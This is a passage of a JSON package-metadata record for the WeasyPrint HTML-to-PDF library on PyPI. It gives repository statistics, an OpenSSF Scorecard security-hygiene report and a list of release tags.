{"id":2968296,"name":"weasyprint","ecosystem":"pypi","description":"The Awesome Document Factory","homepage":"https://weasyprint.org/","licenses":"BSD License","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/Kozea/WeasyPrint","keywords_array":["html","css","pdf","converter"],"namespace":null,"versions_count":119,"first_release_published_at":"2011-10-28T17:48:31.000Z","latest_release_published_at":"2018-03-27T21:00:42.000Z","latest_release_number":"0.42.3","last_synced_at":"2026-09-03T03:18:35.345Z","created_at":"2022-04-10T13:03:10.585Z","updated_at":"2026-09-03T09:06:21.958Z","registry_url":"https://pypi.org/project/weasyprint/","install_command":"pip install weasyprint --index-url https://pypi.org/simple","documentation_url":"https://doc.courtbouillon.org/weasyprint/","metadata":{"funding":"https://opencollective.com/courtbouillon","documentation":"https://doc.courtbouillon.org/weasyprint/","classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","License :: OSI Approved :: BSD License","Operating System :: OS Independent","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Internet :: WWW/HTTP","Topic :: Multimedia :: Graphics :: Graphics Conversion","Topic :: Printing","Topic :: Text Processing :: Markup :: HTML"],"normalized_name":"weasyprint","project_status":null},"repo_metadata":{"id":37964253,"uuid":"2179572","full_name":"Kozea/WeasyPrint","owner":"Kozea","description":"The awesome document factory","archived":false,"fork":false,"pushed_at":"2026-08-24T13:26:26.000Z","size":35840,"stargazers_count":9527,"open_issues_count":135,"forks_count":864,"subscribers_count":126,"default_branch":"main","last_synced_at":"2026-08-25T00:45:15.561Z","etag":null,"topics":["converter","css","html","pdf","python","weasyprint"],"latest_commit_sha":null,"homepage":"https://weasyprint.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Kozea.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":"docs/support.rst","governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"patreon":"kozea"}},"created_at":"2011-08-09T14:14:24.000Z","updated_at":"2026-08-24T07:28:42.000Z","dependencies_parsed_at":"2026-08-17T15:06:04.058Z","dependency_job_id":"e8bf2d58-5482-4739-bc16-9d4408d6f8d3","html_url":"https://github.com/Kozea/WeasyPrint","commit_stats":{"total_commits":4499,"total_committers":125,"mean_commits":35.992,"dds":0.6621471438097355,"last_synced_commit":"0ff8692741a58269e6b7e871819d018994579e16"},"previous_names":[],"tags_count":119,"template":false,"template_full_name":null,"purl":"pkg:github/Kozea/WeasyPrint","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Kozea","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/sbom","scorecard":{"id":80263,"data":{"date":"2025-08-11","repo":{"name":"github.com/Kozea/WeasyPrint","commit":"eb47d81dd1dc4f7080bb45fa75e0515cf2c5ad5e"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.7,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 24 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":5,"reason":"Found 4/7 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:29","Warn: no topLevel permission defined: .github/workflows/doconfly.yml:1","Warn: no topLevel permission defined: .github/workflows/exe.yml:1","Warn: no topLevel permission defined: .github/workflows/release.yml:1","Warn: no topLevel permission defined: .github/workflows/test_pdfua.yml:1","Warn: no topLevel permission defined: .github/workflows/test_samples.yml:1","Warn: no topLevel permission defined: .github/workflows/tests.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/exe.yml:9: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/exe.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/exe.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/exe.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/exe.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/exe.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test_pdfua.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/test_pdfua.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test_pdfua.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/test_pdfua.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test_pdfua.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/test_pdfua.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test_pdfua.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/test_pdfua.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test_pdfua.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/test_pdfua.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test_samples.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/test_samples.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test_samples.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/test_samples.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test_samples.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/test_samples.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/Kozea/WeasyPrint/tests.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/release.yml:21","Warn: pipCommand not pinned by hash: .github/workflows/test_pdfua.yml:19","Warn: pipCommand not pinned by hash: .github/workflows/test_pdfua.yml:21","Warn: pipCommand not pinned by hash: .github/workflows/test_samples.yml:18","Warn: pipCommand not pinned by hash: .github/workflows/test_samples.yml:20","Warn: pipCommand not pinned by hash: .github/workflows/tests.yml:40","Warn: pipCommand not pinned by hash: .github/workflows/tests.yml:42","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of   7 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yml:8"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v66.0 not signed: https://api.github.com/repos/Kozea/WeasyPrint/releases/234847841","Warn: release artifact v65.1 not signed: https://api.github.com/repos/Kozea/WeasyPrint/releases/212189059","Warn: release artifact v65.0 not signed: https://api.github.com/repos/Kozea/WeasyPrint/releases/207118379","Warn: release artifact v64.1 not signed: https://api.github.com/repos/Kozea/WeasyPrint/releases/201382790","Warn: release artifact v64.0 not signed: https://api.github.com/repos/Kozea/WeasyPrint/releases/197613497","Warn: release artifact v66.0 does not have provenance: https://api.github.com/repos/Kozea/WeasyPrint/releases/234847841","Warn: release artifact v65.1 does not have provenance: https://api.github.com/repos/Kozea/WeasyPrint/releases/212189059","Warn: release artifact v65.0 does not have provenance: https://api.github.com/repos/Kozea/WeasyPrint/releases/207118379","Warn: release artifact v64.1 does not have provenance: https://api.github.com/repos/Kozea/WeasyPrint/releases/201382790","Warn: release artifact v64.0 does not have provenance: https://api.github.com/repos/Kozea/WeasyPrint/releases/197613497"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-15T05:40:35.299Z","repository_id":37964253,"created_at":"2025-08-15T05:40:35.299Z","updated_at":"2025-08-15T05:40:35.299Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36890124,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-24T02:00:14.037Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"Kozea","name":"Kozea","uuid":"870325","kind":"organization","description":"We build open source software that you will love.","email":null,"website":"https://www.kozea.fr/","location":"Lyon, France","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/870325?v=4","repositories_count":99,"last_synced_at":"2026-01-14T13:48:20.304Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/Kozea","funding_links":[],"total_stars":15869,"followers":141,"following":0,"created_at":"2022-11-02T16:26:34.850Z","updated_at":"2026-01-14T13:48:20.305Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Kozea","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Kozea/repositories"},"tags":[{"name":"v69.0","sha":"32873118e8a70ceef87643775c247384d64798ea","kind":"commit","published_at":"2026-06-02T14:37:11.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v69.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v69.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v69.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v69.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v69.0/manifests"},{"name":"v68.1","sha":"88d466df43b205c6abbc385e2832cbe6c77aeddc","kind":"commit","published_at":"2026-02-06T15:02:55.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v68.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v68.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v68.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v68.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v68.1/manifests"},{"name":"v68.0","sha":"e9352befffdb1754462b160c38a7e8903a4e28d7","kind":"commit","published_at":"2026-01-19T14:52:34.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v68.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v68.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v68.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v68.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v68.0/manifests"},{"name":"v67.0","sha":"94af598020ad030bb015166d94524cc681603ff3","kind":"commit","published_at":"2025-12-02T16:08:22.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v67.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v67.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v67.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v67.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v67.0/manifests"},{"name":"v66.0","sha":"aefe4af4f825b55846bb35164d5b5196f5a62701","kind":"commit","published_at":"2025-07-24T11:40:52.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v66.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v66.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v66.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v66.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v66.0/manifests"},{"name":"v65.1","sha":"fe75a5befaac10c2bce51e1d01973be29b7ce127","kind":"commit","published_at":"2025-04-14T12:07:10.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v65.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v65.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v65.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v65.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v65.1/manifests"},{"name":"v65.0","sha":"934595fbf5f1a524d816ea7fd05e78cf1fe9bf1a","kind":"commit","published_at":"2025-03-20T10:17:42.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v65.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v65.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v65.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v65.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v65.0/manifests"},{"name":"v64.1","sha":"9dc5ac4337b09df8c28b6d678485a4894d354970","kind":"commit","published_at":"2025-02-20T09:56:16.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v64.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v64.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v64.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v64.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v64.1/manifests"},{"name":"v64.0","sha":"f05882df57b3a0f987279da8961c2b0d7e6aaf97","kind":"commit","published_at":"2025-01-30T16:15:41.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v64.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v64.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v64.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v64.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v64.0/manifests"},{"name":"v63.1","sha":"9e899253d2ffbfa96929adcc26294bc5403ffae5","kind":"commit","published_at":"2024-12-10T15:49:02.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v63.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v63.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v63.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v63.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v63.1/manifests"},{"name":"v63.0","sha":"c9b6c5ef0c5ec6ee26f1804529738982f00011ba","kind":"commit","published_at":"2024-10-29T17:30:00.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v63.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v63.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v63.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v63.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v63.0/manifests"},{"name":"v62.3","sha":"56acbc422e3aeb7974ae8c4d45e9726cfaf10bea","kind":"commit","published_at":"2024-06-21T15:46:31.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v62.3","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v62.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v62.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v62.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v62.3/manifests"},{"name":"v62.2","sha":"af118df1403ba4657bae9e3d9a099c9f3adb7cf9","kind":"commit","published_at":"2024-06-04T14:16:14.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v62.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v62.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v62.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v62.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v62.2/manifests"},{"name":"v62.1","sha":"37814abb6d70a343fd58501db9b3c06f5f11fead","kind":"commit","published_at":"2024-05-06T14:47:18.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v62.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v62.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v62.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v62.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v62.1/manifests"},{"name":"v62.0","sha":"d5d7ce369aef035712cf73446f9085a32105846f","kind":"commit","published_at":"2024-04-30T13:51:07.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v62.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v62.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v62.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v62.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v62.0/manifests"},{"name":"v61.2","sha":"cfd2e308aa67ea15ef93ca0c843888b6f6ee205f","kind":"commit","published_at":"2024-03-08T10:33:05.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v61.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v61.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v61.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v61.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v61.2/manifests"},{"name":"v61.1","sha":"4b28713ee47d98be969c5383bf15e6e53c4efd66","kind":"commit","published_at":"2024-02-26T12:51:36.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v61.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v61.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v61.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v61.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v61.1/manifests"},{"name":"v61.0","sha":"78861efc575b9ca3b95f46afaee7c1a8b7587ffb","kind":"commit","published_at":"2024-02-12T09:59:33.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v61.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v61.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v61.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v61.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v61.0/manifests"},{"name":"v60.2","sha":"fd9f1d98e2dbd501faae929fc1e48366fdeec080","kind":"commit","published_at":"2023-12-11T12:08:39.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v60.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v60.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v60.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v60.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v60.2/manifests"},{"name":"v60.1","sha":"01c5e972b9ff0e7afc0024f1f81b05366474c381","kind":"commit","published_at":"2023-09-29T07:56:49.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v60.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v60.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v60.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v60.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v60.1/manifests"},{"name":"v60.0","sha":"9596307f0c8418fc7f9393c186d4ffb5c00f35d6","kind":"commit","published_at":"2023-09-25T11:49:17.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v60.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v60.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v60.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v60.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v60.0/manifests"},{"name":"v59.0","sha":"35d69fa05611389fadf3283dc0ffe0bfcd52e361","kind":"commit","published_at":"2023-05-11T09:26:30.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v59.0","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v59.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl"